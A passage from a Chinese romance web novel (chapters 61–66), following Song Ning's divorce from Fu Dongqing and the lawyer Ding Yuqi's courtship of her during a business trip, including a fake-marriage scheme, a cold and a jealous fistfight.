丁予期低声笑着说:“刚刚不是还扮演名侦探柯南,怎么现在反而怂了?” “丁总,我能不能先走?” “这里的饭不好吃?” “不是,我怕傅东擎一会儿又来找我。” 丁予期闻言,神色微微冷了下来。 傅东擎的确一直在往这边看,肉眼可见的急切。 过去一段时间,林澜肚子里的孩子是他和宋凝之间最大的牵绊。 林澜几次三番用孩子和道德把他捆绑住,让他不能去找宋凝说清楚,只能委托丁予期这个好兄弟帮忙照顾。 现在这一层束缚没有了,他已经是迫不及待想要去找宋凝了。 丁予期说:“你早就知道林澜可能没有怀孕?” “丁总应该比我更早知道吧?” 丁予期不置可否:“猜到了,但是没证实而已。” “我也是猜的。” “怎么,你就对傅东擎这么有信心,觉得他真的没有背叛你?” 宋凝顿了一下,说:“跟他没关系,我只是觉得林澜这个孕妇也太反常了。既然已经怀了孕,又有傅东擎父母保驾护航,对她来说收益最大的方法就是好好保胎,等孩子生下来了,她的地位就十分稳固了。可是她却选择了去帝景大厦上表演跳楼,这不是很奇怪吗?” 丁予期点了点头:“有道理。” “唯一的解释,就是她根本生不出来孩子,她也知道这件事迟早得穿帮,所以要做一个局,不但对自己利益最大化,还能让孩子‘合理’的没了。” 丁予期说:“你不应该学酒店管理,你应该去学刑侦。” “多谢丁总夸奖,但我现在真的不能先走吗?我不想跟傅东擎说话。” 听到后面这句话,丁予期微微笑开:“我也一样。” 他扬声对顾老爷子说道:“顾爷爷,我还有点事要回去处理一下,提前恭喜您得了个小金曾孙,等孩子满周岁了,我一定封个更大的红包。” 顾老爷子说:“你们年轻人该忙就忙,有空多来看看我就行。” “好,我知道了。” 顾老爷子突然虎了脸:“对了,你也老大不小的了,东擎都结婚了,你准备什么时候带新媳妇过来给我看看?我得替你外公好好催催你。” 丁予期微微轻笑:“就快了。我先走了啊。” 说罢,丁予期跟顾秀秀也打了个招呼,然后转身离开。 宋凝赶紧跟上他,快步出了顾家。 傅东擎想追,却被顾老爷子叫住了:“东擎,你太太没怀上不要紧,今天正好让她沾一沾喜气,今天你必须得留下陪我喝两杯啊!” 眼看着宋凝的身影已经越来越小,傅东擎心急如焚:“顾爷爷,我改天陪你喝行吗?我也有事……” “怎么你们一个两个都有事?”顾老爷子冷声说道:“予期浪 荡惯了,我也不想约束他,但你可是个规行矩步的,也要提前离开吗?” “我……” 还没等傅东擎说话,丁予期那辆银灰色的保时捷已经一个甩尾,快速开走了。 看着红色的车尾灯渐渐消失在视野里。 傅东擎悬着的心终于死了。 他给丁予期发了个条消息:【予期,今天谢谢你替阿凝说话。】 丁予期回的很快:【我只是相信她而已。】 傅东擎一开始没察觉出来,但后来一琢磨,总觉得丁予期好像话里有话。 宋凝跟吴教授的事情,就是他始终不肯完全相信宋凝,所以才起了扯平的心思,找了林澜,也成功给自己惹祸上身。 请神容易送神难。 跟林澜牵扯的这段时间,他已经失去了黄金解释时间,现在看宋凝的态度,已经是斩钉截铁,无可挽回了。 傅东擎后悔不及。 倘若他当初相信了宋凝的话,不去找林澜,现在所有的事情都不会发生了。 【傅东擎:你们在哪?我想去找阿凝,把所有的事情都解释清楚。】 【丁予期:她说了,她不想见你。】 【傅东擎:可是我必须要见她,当面跟她认错,忏悔,求她原谅我!予期,你是我最好的兄弟,这次求我帮我最后一次!】 丁予期看到这条消息的时候,单手开车,正在等红灯。 绿灯亮起,过了好几秒他都没起步,后面的车不耐烦的一直按喇叭滴滴他。 丁予期嗤笑一声,把手机扔到一边,专心开车。 最好的兄弟就一定要帮忙? 那如果,他选择不做这个兄弟了呢? 﨔 第六十二章 别乱跑,等我 丁予期说:“明天开始我要出差,你跟我一起去。” 宋凝:“我?” “嗯。” 瑞贝卡才是他的秘书吧。 还有林晓筠,这个传说中的生活助理。 虽然现在已经澄清了,是表妹,不是桃花债。 丁予期说:“林澜怀孕的事情被你戳穿了,你就不怕傅东擎来找你?还是说,今天这一出也是你玩的欲擒故纵,就是故意想让傅东擎回来继续跟你纠缠不清?” 宋凝蹙眉:“丁总,大白天的不要讲鬼故事。” “我还以为你们女人都喜欢看追妻火葬场。” “丁总挺懂女人?” 丁予期说:“我只想懂我喜欢的女人。” 宋凝忍不住吐槽:“刚联系你那会儿你就说你喜欢的女人离婚了,你的机会要来了,结果这段时间你都在围着我和傅东擎转了。” 丁予期不置可否。 但心情明显很愉悦。 他按下了车内的音乐,是一首春节名曲《好日子》。 宋凝听着这首十分接地气的民歌,又看了看丁予期的名车。 这对吗? 他的品味是不是有点太……平易近人了? 为了不被傅东擎干扰,宋凝第二天就麻溜地跟着丁予期一起去了首都出差。 但是很意外,同行的只有她一个。 宋凝说:“你不带瑞贝卡?” “瑞贝卡要在酒店留守,我不在,总得有个做决策的人。” “那你表妹呢?她不是你钦定的生活助理么。” 丁予期哼了一声:“带她干什么?干啥啥不行,吃啥啥不剩。” 但是一男一女,孤男寡女的一起去出差,总是有点点尴尬啊。 丁予期说:“尴尬什么?我跟瑞贝卡也没少单独出去出差,也没见谁传我们两个有绯闻啊?” 说的倒也是。 “不过宋经理,瑞贝卡不在的这段时间,你就得当我的临时助理了。她的工作你得承担起来,这是我带你逃离傅东擎的报酬。” 宋凝掰着手指头算了算日子。 距离离婚冷静期还有十几天,只要不跟傅东擎见面,她干什么都行。 而且瑞贝卡的日常工作她基本也都能胜任,不是什么难事。 但是计划没有变化快,到首都的第一天晚上,她就华丽丽的感冒了。 晚上她挽着丁予期的手臂出席晚宴的时候,本来应该是装饰物的手包,被她塞的鼓鼓囔囔的。 丁予期看的啧啧称奇:“你装什么了?” “卫生纸?” “哈?” “你拉肚子了?” 宋凝轻声说道:“有点感冒。” “吃过药了吗?” “没时间啊,刚落地换了一身衣服就来了。” 丁予期没说什么,但伸手摸了摸她的额头。 还好,不烫。 好在今天来参加宴会的人挺多的,觥筹交错,好几次她偷偷躲在丁予期身后,借着他高大的身躯给自己作掩护擦鼻涕都没被发现。 “丁律师!” 一个胖胖的中年女人惊喜地走了过来,跟丁予期握了握手,“好久不见了,怎么在这里遇到你了?” 丁予期笑了笑,“吴总。” 吴总说:“多亏了你帮我打离婚官司,不但拿到了财产,孩子的抚养权也归我了!要不是你,我估计得被那个狐狸精挤兑死!” 宋凝摸了摸鼻子,不着痕迹地打量了一下这个吴总。 或许是因为身材比较丰腴的缘故,人看起来很和善。 吴总看到了丁予期身旁的宋凝,笑着问道:“这位是……” 宋凝:“你好吴总,我是丁总的……下属。” 吴总仍旧笑呵呵的:“是下属啊,我刚刚老远就看到你们了,男才女貌的,挺般配的。” 丁予期正要说话,突然旁边又来了一个人。 他长得跟丁予期有三四分相似,但年纪明显要比丁予期大一些。 表情也显得有些压迫似地威严:“老三,你回来了怎么不跟我说一声?我刚好有些事要跟你说,你跟我来……” “等一下,”丁予期对吴总说:“我的……下属,拜托吴总照顾一下,我去去就回。” 吴总性格很好,当即应承下来:“放心吧。” 丁予期看了看宋凝,声音放柔了一些:“你别乱跑,等我。” “哦。” 丁予期离开了之后,吴总才说:“我们去那边坐一会儿吧?” “好。” 宋凝从善如流地跟着吴总过去了。 …… 丁予沉把弟弟拉到角落里,低声问道:“我上次跟你说的事情,你觉得怎么样?” 丁予期抱着手臂,懒懒散散地靠在墙壁上:“你跟嫂子的事情,你们两个自己解决,我帮不了。” “可是你明明知道大哥在借着离婚转移财产!这对我们两个都很不利!” 两个哥哥为了家产的事情闹得不可开交。 丁予期兴致缺缺,不想掺和进来。 “我说了,家里的财产我没兴趣,你们两个自己斗,我谁都不帮。” 丁予沉叹了口气:“你就真的一点世俗的欲 望都没有?那你还不如出家算了。” “谁说我没有?我还吃肉,不能出家。” “既然不出家,那总得结婚生子吧?”丁予沉教训起弟弟来:“我在你这个年纪,念念都会打酱油了!” 丁予期无语地翻了个白眼:“二哥,你找我要是就这事儿的话,那我可走了。” “算了,我跟大哥的事情你不想帮任何一个,我也不逼你。但是个人问题你抓紧时间,外公的身体你也清楚,他最疼的就是你……” 丁予期说:“我知道,我尽量快点。” 这番说辞,可跟以往的都不一样。 以前都是“我一个人逍遥自在”,今天变成了“尽量快”? 丁予沉问他:“你看上哪家的姑娘了?需不需要二哥帮你一把?” “你帮不了,”丁予期无奈地耸了耸肩:“她就是头倔驴,越帮越逆反,你别管了,我自己来吧。” 丁予沉轻笑:“行,有目标了就行。在首都的这段时间需要帮忙就找二哥。” 丁予期突然站直了身体:“还真有一个。” “说。” “你知不知道这附近最近的药店在哪?” “你病了?” “不是我,”丁予期说:“……是她病了。” 﨔 第六十三章 感冒使人社死 首都的感冒病毒比她预想的还要更厉害一些。 她跟坐了一会儿,越来越觉得头痛欲裂。 而且身上一阵一阵的发冷。 吴总看出她不舒服,主动问道:“要不要我去找丁律师过来?” 她是出来协助丁予期工作的,不是来当大爷的。 宋凝摆摆手:“今天晚宴应该也没有需要我的地方了,我先回去休息就行。” “你自己可以吗?” 宋凝点了点头。 她掏出手机给丁予期发了个消息,告诉他自己不舒服,先回酒店了。 一到酒店,她就倒在床上睡了过去。 只是她恍恍惚惚好像做了跟上次一样的梦。 只不过这一次不是在卫斯理酒店的64层了,而是就在首都的酒店里。 她睡着了,而丁予期就单膝跪在床下,亲吻她垂在床边的手。 她胡乱呓语了一声,“怎么总是做这种梦……” 做春 梦就算了,为什么男主角又是丁予期呢。 梦这个东西,真是没有逻辑。 她翻了个身,又沉沉睡了过去。 不知又睡了多久,她才悠悠转醒。 准确的说,她是被热醒的。 意识到自己是被人紧紧搂在怀里的时候,宋凝着实吓了一大跳。 “谁!?” “我。”丁予期又要伸手来摸她的额头,被宋凝一把拍掉了:“你别动手动脚的。” 丁予期的表情有一瞬间的黯然。 刚刚睡着的时候,还一个劲儿地往他怀里拱着取暖,醒了就开始翻脸不认人。 他强行把她拉到身边来,探了探她额头上的温度。 “还在烧。” 他起身去拿了药和水过来,递给她:“吃了。” 宋凝半信半疑:“这什么药?” “毒药。” 宋凝知道他的毒舌属性又犯了,没往心里去。 本来她应该是来协助他工作的,结果刚一落地自己先病倒了,连晚宴都没撑完全场就匆匆回来休息了。 宋凝还是有些心虚的。 她从他手中拿过药,指腹在他干燥的掌心轻轻刮过。 微微发痒。 “丁总,是你去给我买的药吗?” 丁予期把被她触碰过的手紧紧攥住,似乎想要尽可能留住方才的触感。 “嗯。”他在床边坐下,说:“感冒了要发汗,我一回来就看到你不盖被子就睡着了,要是这样睡一夜,明天估计病情还得加重。” 宋凝叹了口气。 她睡觉不太安稳,总是有踢被子的习惯。 “以前傅东擎会半夜起来帮我把被子盖好,我就没在意。” 丁予期的脸色微微发沉:“怎么还提他?” “不提了!”宋凝说:“以后没有他,我一定会记住好好盖被子的。” 丁予期说:“这杯热水也喝了,发发汗。” 宋凝听话地接过,一杯水全都喝光了。 但是,她总觉得哪里有些不对…… “怎么了?皱着眉头干什么,还有哪里不舒服?” “不是,我总觉得我的手好像黏黏糊糊的,就跟被谁舔过了似的。” 丁予期的目光立刻转移到了别处,“错觉吧。” “真的,我刚刚总觉得是被大胖儿子舔的,可是一想,不对啊,我们现在是在首都,大胖儿子在S市啊。” 丁予期背过身去,整理着床头柜上的小台灯:“那就是手心出汗了。” 宋凝很想说,出汗的感觉她能分辨的出来。 而且她一贯手心不怎么出汗的,就算出汗,也不会量这么大。 可是一想到刚刚自己做春 梦,还是跟眼前这个人有关的,她就又闭上了嘴。 就当是手心出汗了吧。 反正丁予期这么讨厌她,总不能真的趁着她睡着偷偷亲她的手。 “对了,”丁予期轻咳了一声掩饰尴尬,顺便转移话题:“你先回来了怎么也不跟我说一声?我找遍了整个会场都找不到你人,还以为你出什么事了,最后还是遇到了吴总,她才告诉我。” 宋凝愣了一下:“我给你发消息了啊,你没收到吗?” 她立刻拿出自己的手机出来查看。 一看,坏了。 不知道怎么鬼使神差的,发给方律师了! 这还不是最可怕的,最可怕的是,她发了文字之后,最后还发了一个【亲亲】的表情。 方律师估计也被吓得不轻,给她打了几十个语音通话,她睡着了,一个都没接! 感冒使人社死。 她原本只想发一个【sorry】的表情包的,怎么就点到了【亲亲】呢…… 而且她那时候体力不支,为了少打点字,只写了一句:【我先回酒店等你。】 这两个加起来看,怎么都有种暧昧纠缠说不清道不明的意味。 怪不得方律师胆都吓破了,疯狂给她打电话。 丁予期问道:“你该不会是发给傅东擎了吧?” 宋凝已经活人微死了:“我早就把他拉黑了。” “那你发给谁了?” “之前找的一个离婚律师,我想让他跟我一起去办离婚手续,他怕傅东擎报复,不愿意。” “所以你才找上了我?”丁予期的语气里有些不满:“我只是你退而求其次的选择?” 宋凝更加无语了:“当时我们两个各种不对付,我先找别的律师很正常吧?” 怎么说的好像他还委屈了似的。 丁予期问:“那你要给他回个消息吗?” “不了吧,很难解释。” “那我替你解释。 丁予期直接从她手中把她的手机捞了出来,点开了方律师的对话框,发了一段语音过去:“不好意思,她发错人了,原本是要发给我的,错发到你那边了,给你带来了困扰,很抱歉。” 听着丁予期的语气还算礼貌得体,宋凝也就没有阻止他。 可是这段语音听在傅东擎耳朵里,就非常不是那么回事了! 他几乎不敢相信自己的眼睛,更不敢相信自己的耳朵。 就在刚刚,方律师主动添加了他。 说是有宋凝的消息要告诉他。 傅东擎通过了,然后对面发来了一张截图。 是和宋凝的聊天记录,她说她先回酒店等他,还发了个暧昧的表情包。 傅东擎当时就回拨了一个电话过去:“你是谁?跟她什么关系?!” 方律师赶紧解释:“傅总您先别生气,还有一段语音,您听一下。” 于是,他把丁予期刚刚的那段语音,转发给了傅东擎。 方律师说:“傅总不瞒您说,宋小姐的确找过我咨询离婚的事情,但这个男人……我的确不知道是谁。不过我可以作为您的内应,去打听一下他的真实身份。但是吧……嘿嘿,您也知道,需要一些辛苦钱。” 傅东擎的脸色黑沉的彻底:“你要多少?” “不多,三天内我给您打听清楚,一百万。” “一天,我要知道那个男人的所有信息,”傅东擎说:“我给你三百万。” 﨔 第六十四章 两头通吃 宋凝很快就收到了方律师的回复。 【方律师:没关系宋小姐,发错消息人之常情。您这是离婚成功了,跟小姐妹出去旅游了吗?我看你的IP在首都。】 【宋凝:方律师找我有事吗?】 【方律师:的确有点小事想麻烦宋小姐一下。】 宋凝微微皱眉。 她跟方律师基本没什么交情。 仅有的沟通就是她咨询过离婚的事情,并且给这个财迷转过一些钱。 他还能有什么事要求自己帮忙? 难道是……借钱? 【宋凝:你可以说说看,但我不见得能帮上。】 丁予期见她吃了药还不躺下,坐在床上拥着被子聊天,直接单膝跪在床上把她的手机抽走了:“跟谁聊天呢,这么火热的。” 他看了一眼聊天记录。 方律师。 他轻嗤了一声:“这种人你还跟他废这么多话干什么?” 宋凝说:“我总觉得他今天有点反常。” 丁予期一下就明白了:“你跟他应该只能算是点头之交吧?” “对。”宋凝补充道:“而且,他眼里只有钱。” 丁予期微微思考了一下,就想明白了。 他狡黠地晃了晃手机:“他估计是也收了傅东擎的钱,想要两头吃。宋凝,想不想彻底解决傅东擎?” 宋凝顿时警惕起来:“想,你想怎么办?” “我有个一劳永逸的办法。” “什么办法?” “离婚后,立刻结婚。” 丁予期缓缓坐在了床边,轻声诱哄:“傅东擎现在一直缠着你,无非是觉得你们两个还有机会,还能再续前缘。就算之后我帮你离婚了,只要你是单身,他就还是不会放手。唯一的解法就是——你已经结婚了,并且男方绝对不可能离婚,傅东擎这辈子都没希望。” 他的声音低沉,还微微带着些拉丝的诱哄。 宋凝一开始还保持着警惕,丁予期这个人虽然这次的确是在帮她,但鉴于此人对自己一向没什么好脸色,她还是得防一手。 不过丁予期说的这个办法,倒是可行。 “男方绝对不会离婚……” 现代社会,婚姻的稳固性比原来差远了。 就算此时此刻她立刻就能找到一个情投意合各方面条件完美的结婚对象,但真心瞬息万变,谁也不能保证一个人永远不变心。 而且,现在她上哪去找一个现成的结婚对象去?! 宋凝眼珠子一转,给唐婷打了个电话。 唐婷接的很快:“阿凝?” “唐婷,你认识的人多,你们娱乐圈里ga y多,给我介绍一个。” 唐婷听完就斯巴达了:“你要干嘛?” 宋凝舔了舔唇:“结婚。” 结婚?! 这两个不止震翻了电话那头的唐婷,也震翻了此时此刻正在旁边嗷嗷待哺的丁予期。 他整个人都傻了:“你要找个娱乐圈的ga y结婚?你怎么想的?!” 宋凝的想法很简单:“男明星嘛,如果有了ga y传闻的话,女粉丝会跑的。但是如果他找一个女人结了婚,这个传闻就不攻自破了吧!他们应该有这种需求,而且如果非必要的情况下,应该不会离婚。” 丁予期简直无语了:“你是不是觉得你很幽默?” “有吗?”宋凝说:“我觉得这个主意蛮好的啊,男明星都很忙,结婚以后我还可以继续做自己的事,没有男人来烦我。我要付出的代价就只是被他们的女粉丝骂一骂而已,我不看不就行了,而且还能蹭一蹭签名照什么卖一卖,多少都是赚。” 丁予期:“……” 宋凝:“你怎么了?怎么脸色这么难看?我感冒传染给你了?” 丁予期站了起来:“你好好休息,我回房间了。” “哦。” 唐婷是个效率派,没过一会儿就给她打来了电话:“我还真给你找着一个。刚好他最近也在首都,我把你微信推过去,你们聊聊?” 唐婷说的这个男明星,是她剧组里的男二号,方莫奇。 皮肤很白,长相秀美,所以经常被怀疑是不是ga y。 但是唐婷说:“没怀疑错,他还真的是,而且他男朋友就是我们剧组的摄影师,两个人属于公费恋爱。” 有了唐婷在中间穿针引线,很快她就加上了方莫奇的微信。 方莫奇本人比她想的很活泼开朗一点,上来就叫阿凝。 【方莫奇:我听唐婷说起过你,阿凝,我们什么时候能结婚?】 【宋凝:……这么直接的吗?不寒暄一下什么的?】 【方莫奇:大家都是熟人,不搞那些虚的。我听唐婷说你前夫纠缠你,所以想找个人结婚摆脱他,是不是?】 【宋凝:是的。】 【方莫奇:那很好,只要我们谈好了,我立马可以官宣我们两个恋爱的消息,等你离婚证办妥,我们就去登记。】 【宋凝:你也很急吗?】 【方莫奇:主要是在我们这个圈子里,我太迷人了你懂吗?好多男的都对我有意思,我男朋友吃醋呀!官宣结婚之后,这些人就能消停点了,要不然我男朋友天天跟我闹。】 宋凝看着唐婷刚刚给她发来的这一对好基友cp的照片,有点怀疑自己的眼睛。 方莫奇,白白瘦瘦长相还奶奶的,看着像个青春男大。 而他的对象,一米九的魁梧大汉,还一脸大胡子。 ……方莫奇居然还是攻? 她脑补了一下大胡子拱在他怀里嘤嘤嘤的场面,顿时鸡皮疙瘩掉了一地。 【方莫奇:阿凝,你觉得ok不?】 事情的发展有点过于顺利了。 宋凝本能的觉得还是事缓则圆。 于是她回了一句:【我考虑一下行吗?】 【方莫奇:你考虑多久啊?尽量快点啊,我男朋友今天跟我生一天气了。】 【宋凝:三天内我给你答复。】 过了一会儿,唐婷的电话打了过来:“怎么样怎么样?聊得怎么样?” 宋凝:“……还挺顺利的。” 唐婷说:“方莫奇人品还可以,圈内口碑也不错,至少为人应该是靠得住的。而且他是铁ga y,不存在突然变直了的可能性,所以你放心用。” 宋凝觉得也是。 毕竟他的审美是熊大熊二,就算变直了估计也看不上自己。 宋凝:“那就初步先定他吧,如果没有更好的人选,那就方莫奇了。” 﨔 第六十五章 你揉一下……好多了 一墙之隔的房间里。 丁予期手里握着一根女人修长的发丝,放在唇边轻轻嗅着。 这次出来的急,没来得及带一些她的东西在身边,他睡不着。 好在刚才离开的时候,在她的枕边捡到了一根发丝,聊以慰藉这个寂静的首都之夜。 她用的洗发水是淡淡的栀子花香气,若有似无。 她其实不太喜欢那种香味过于浓烈的香型,香水也很少用,身上几乎都是自然的馨香。 这是他的安眠剂。 手机的屏蔽信息里,99+的消息,几乎全都是傅东擎发的。 几乎都是在询问,宋凝最近身边有没有什么图谋不轨的男人。 丁予期哼笑一声。 图谋不轨? 现在还没离婚,他姑且算是图谋不轨。 但冷静期一到,谁知道下一次谁能转正? 他最后吻了吻那根秀发, 然后把它捧在心口的位置,安然入睡。 …… 大概是昨晚吃了药的关系,第二天早上起来,宋凝觉得舒服多了。 虽然还是有点鼻塞,但是神志清明了很多。 丁予期早上给她发了消息,说今天要跟一个家居用品的供应商见面,让她九点就在大堂等他。 宋凝昨天早退了,于是今天特意提早了一些下楼。 谁知道方莫奇直接发了消息过来。 【方莫奇:阿凝,十万火急,能不能帮个忙?】 【宋凝:什么忙?】 【方莫奇:我现在就在你住的酒店附近,你能不能出来门口,我们两个拥抱一下,让记者拍张照?】 【宋凝:???】 【方莫奇:最近有好几个男的缠着我不放,我想先放个跟女人恋爱的新闻出去,压一压这些人的嚣张气焰。我对象给我下了最后通牒,如果三天内解决不了这些人的话,他就要带球跑,让我追妻火葬场。】 然后他紧跟着还发了一个[哭哭.jpg]。 宋凝倒吸了一口凉气:【我不是很理解啊,他怎么带球跑?他还有那个功能呢?】 【方莫奇:篮球啦!科比亲手签名的!全球限量款!我跟你说,这个篮球和我对象,他们两个是我最重要的东西了。这是要让我赔了夫人又折球啊!我这不是十万火急,赶紧来找你了么。】 看宋凝迟迟没回复,方莫奇猜到了她的顾虑。 【方莫奇:你放心,我带的记者都是好朋友,拍你一个背影就行,不会拍到脸的。】 宋凝想了想,既然以后真的有用结婚来劝退傅东擎的打算,方莫奇也确实是一个不错的对象,那不然就先帮他一把? 方莫奇到的很快。 宋凝收到消息,走出了酒店大门。 只见方莫奇带着墨镜和口罩,快步向她走了过来,然后张开双臂,一把抱住了她。 与此同时,余光里她似乎看到了闪光灯闪了两下。 “方莫奇,可以了吧?” “可以了可以了。” 方莫奇几乎是立刻松开了她:“阿凝,你真漂亮,怪不得你前夫一直缠着你。可惜我只喜欢男人,不然我也要追你……啊!” 随着方莫奇的一声惨叫,宋凝才终于看清楚刚刚电光火石间发生了什么。 一个黑色的影子像是潜伏在暗处的猎豹,猛地窜了出来,一拳在方莫奇打倒在地。 方莫奇猝不及防挨了一拳,直接摔了个大马趴,捂着脸还在懵逼中:“谁啊?!” 丁予期活动了一下手腕,冷笑地居高临下地看着他,然后用下巴点了点宋凝:“她三个儿子的爸!” 方莫奇惊了:“你就是前夫哥啊?” 丁予期不知道今天是怎么了,阴冷的吓人。 方莫奇还没从地上爬起来,他又要冲上去揍人。 宋凝见状,赶紧扑上去拉他。 可是丁予期的力量根本不是她能撼动的,眼看着下一拳又要揍上去,宋凝干脆挡在了方莫奇面前。 她厉声叫住了他:“你干嘛!?” 丁予期依旧冷着脸,“解释一下,他是谁?” “他是……”宋凝顿了顿,问道:“我朋友。” “他不是你朋友。”丁予期肯定的说。 宋凝身边的朋友,每一个他都知道。 这个人,绝对不是。 宋凝把方莫奇扶了起来,问道:“你没事吧?” 方莫奇的左脸已经肿起来了,看起来有些滑稽:“阿凝,我总算知道你为什么这么着急要逃离你前夫哥了,他是不是经常家暴你啊?我认识个律师,我让他帮你找法律援助吧?” 丁予期眉毛一挑:“阿凝?” 阿凝也是他叫的?! 方莫奇立马缩了缩脖子:“阿凝,我得先走了,我可是靠脸吃饭的啊,得赶紧回去消消肿,不然戏都没法拍了。你……你自求多福啊!” 方莫奇钻进保姆车里,飞快地跑了。 一场闹剧终于算是暂时告一段落了,宋凝不由得松了一口气。 丁予期还在凝望着方莫奇离开的方向,神情冷峻,眼神锐利,浑身都散发着压迫感。 宋凝还是第一次见到他这个样子。 有些吓人。 “丁总,你手没事吧?” 方莫奇被打的脸都肿了,力的作用是是相互的,他的手估计也好不到哪里去。 丁予期收回目光:“没事。” “给我看看。” “……” “给我看看啊。” 丁予期伸出手,放在她眼前。 宋凝一手轻轻捏着他的手指,一手在他的拳头上按了按:“疼吗?” “不……” 一个不子刚到嘴边,丁予期就把它吞了回去。 “挺疼的。” 宋凝无奈,轻轻帮他揉了揉手背上突出的手指骨关节:“你怎么突然冲出来就揍人,吓死我了。而且下手还那么重,万一真把人打坏了,要赔偿的。” 丁予期感受着手背上温暖软柔的触感,像是一片带着温度的云,在轻轻摩挲自己的皮肤。 过电一般的感觉。 他的手不自觉的轻轻抖了一下。 宋凝问他:“我弄疼你了吗?” 丁予期:“没有,你揉一下……好多了。” 宋凝轻声跟他解释了昨天跟方莫奇的约定。 “……他今天就是带记者来拍个照,而且只拍背影而已,互帮互助一下而已。” 丁予期问:“所以,你真的打算离婚之后跟他结婚了?” 宋凝的眼神闪了闪,摇头:“还是不了。” 丁予期抬起眼睛,方才的阴霾有了多云转晴的迹象:“为什么?他……不是挺符合你的要求么,怎么又不愿意了。” 宋凝说:“他禁不住傅东擎整。我怕傅东擎知道后,直接下狠手毁了他的事业,那反倒是我对不起他了。” “嗯,你说得对。”丁予期微微勾唇:“所以,你还得找一个不怕傅东擎的。” 宋凝哀嚎一声:“不怕他整的,基本上也都是权贵名门,我上哪去找啊?” 丁予期的语调有些轻柔:“符合你要求的人也不是没有,其实我可以……” “你可以帮我找?”宋凝嗤笑了一下:“傅东擎是救过你的命吗?你这么拼命的帮他?” 﨔 第六十六章 用她的杯子 丁予期无奈地捏了捏眉心:“宋凝,你还真是……油盐不进。” “我只是怕你为了傅东擎太掏心掏肺,不惜把别人推进火坑里。” 丁予期闻言,微微蹙眉:“别乱说话。” “怎么了,我说错了?” 丁予期的眼睛警惕地环顾了一下四周,精准地看向了一个方向,他快速拥着她往酒店里面走:“先回去再说。” 宋凝问他:“你看到什么了?现场还有记者吗?” “不知道,但是有人举着手机在拍,有可能是看热闹的路人,说不好。” 说话间,宋凝已经被丁予期推着进入了酒店内部。 快速上了电梯。 回了房间,丁予期径直走了进去,拆开了药的包装给她冲了一袋。 宋凝说:“我自己可以的。” 丁予期的气压微微有些低,像是没听到她的话似的,自顾自的用勺子搅拌着药水。 然后递给她:“喝了。” 宋凝乖乖接了过来,然后小声叮嘱了一句:“你要不要也喝一包?这几天我们两个一直在一起,我怕给你传染上。” 丁予期挑眉:“在一起?” 宋凝一愣,连忙说:“我说的是物理距离的在一起,不是那个意思。” 丁予期微微勾唇:“那个意思是什么意思?” “……没什么意思。” 宋凝捧着杯子,去了沙发上。 药水还有些烫口,她小口小口的喝着。 可能是因为水温比较高的关系,她的唇被水泽浸润,颜色是鲜艳的玫红色。 抿在白瓷杯子上,更显得湿漉漉的诱人。 丁予期突然感觉喉咙有些发干。 他轻咳了两声,赶紧移开视线,不再看她。 宋凝却腾的一下站了起来:“你怎么咳嗽了?真被我传染了?发烧吗?” 她走了过来,踮起脚尖,伸手碰了碰他的额头。 她的掌心绵软的像一片云,还带着刚刚被杯子暖热的温度。 丁予期不着痕迹地微微低了低头,方便迁就她的身高。 可惜这样的接触没能持续多久,几乎是一触即离。 “不烫,应该没事的。”宋凝说。 丁予期的眼睛下垂,看了看她刚刚碰过自己额头的手,眼神微微闪了闪:“你的手温度不对吧?” 宋凝:“?” “你刚刚拿过杯子,温度偏高,摸的不准。” 宋凝反应了一下:“确实是,那我去前台问问他们有没有体温计……” 刚转身,手腕就被抓住了。 丁予期说:“这会儿别出去了,酒店外面不知道还有没有人蹲守。” 宋凝说:“那我去洗一下手,冰一冰。” 丁予期微微眯了眯眼睛,轻轻松了手:“嗯。” 他回到沙发上坐下,把头搭在靠背上,闭着眼睛。 耳边,听到了哗哗的水声。 很快,水声停止了。 一股熟悉的栀子香味由远及近。 最后,旁边的沙发微微陷下去一小块。 丁予期不禁勾了勾唇,她可真够轻的,坐下的时候跟一只猫一样,仿佛没多少重量。 她再一次把手轻轻贴了上来,这一次,时间长了一些。 丁予期轻轻扭了扭头,在她掌心蹭了蹭:“怎么样,宋医生?” 宋凝也有点拿不准了。 以往她其实一摸就能摸出来了。 但是刚刚手热,冲洗了之后好像又凉了,现在摸起来丁予期的体温好像确实是有点偏高。 宋凝说:“我去给你冲药。有病治病,没病预防。” 身旁的馨香味道又消失了。 丁予期缓缓睁开眼,正好看到她在料理台前忙碌。 只不过…… “你房间的杯子刚刚被我用过了,你稍等一下,我去我房间拿个新杯子过来。” 宋凝小跑着走了,砰地一声,房门被关上。 丁予期站了起来,缓缓走到了刚刚她站着的地方—— 一个很普通的白瓷马克杯,里面还有一点她喝剩下的药。 褐色的,还氤氲着雾气。 她刚刚是左手拿着杯子还是右手来着? 应该是右手。 于是他也用右手拿起了杯子,用嘴唇印着她的方才的唇印,把里面的药喝了个干净。 …… 宋凝回来的时候,丁予期仍旧还在沙发上瘫着。 看起来好像的确是有些不舒服的样子。 她用新杯子给他冲了药,搅拌的时候,看到了自己方才用过的杯子。 “……我的药呢?我刚刚明明还没喝完啊?” 丁予期用小臂搭在眼睛上,声音懒洋洋的:“我刚刚不小心碰倒了。” 宋凝点了点头,不疑有他:“你觉得头晕吗?” “嗯,有点。” “有没有浑身发冷的感觉?” “好像也有点。” 宋凝叹了口气:“那肯定是发烧了。你是被我传染的,这件事算是我欠你一次,你先把药喝了,然后去好好睡一觉。” 丁予期摇了摇头,声音低沉:“今晚还有个局得去。” “能不去吗?” “不去不行,这趟来首都出差主要就是为了这个局,昨天的晚宴只是顺带的而已。” “跟酒店有关?” 丁予期说:“嗯,卫斯理酒店是我外公名下的产业,总不能在我手里败了吧?” 宋凝突然又想起了前天晚上那个梦境。 梦里面,他说过,他对继承家业不感兴趣,反而去读政法当律师,只是为了…… 帮她打离婚官司? 宋凝觉得有点尴尬,自从做了那个没头没尾的梦之后,她现在跟丁予期的相处好像都透着一股古里古怪的气氛。 “怎么不说话,想什么呢?”丁予期问她。 宋凝摇了摇头,顺便把脑子里关于那场梦的回忆全部都甩出去,然后问道:“今晚的局要喝酒吗?” “要,”丁予期痛苦的皱眉:“都是一些叔叔伯伯,全都是长辈,他们敬酒,我总不能不喝。” “可是你还发着烧呢。” “没事,”丁予期苦笑了一下:“发烧而已,又不是死了。你要是不舒服,今晚就不用陪我一起去了,在酒店好好休息,我自己去。” 说着,他还挣扎着想要站起来。 可是刚站起来没几秒,就虚弱地跌了回去。 整个人陷在沙发里弹了两下,无力地喘气。 宋凝叹了口气,定定地看了他一会儿。 丁予期抬眸:“怎么,不想让我去啊?” “你发烧也是因我而起,喝酒肯定会加重病情的。”宋凝想了想,郑重地说:“我有办法。” 﨔 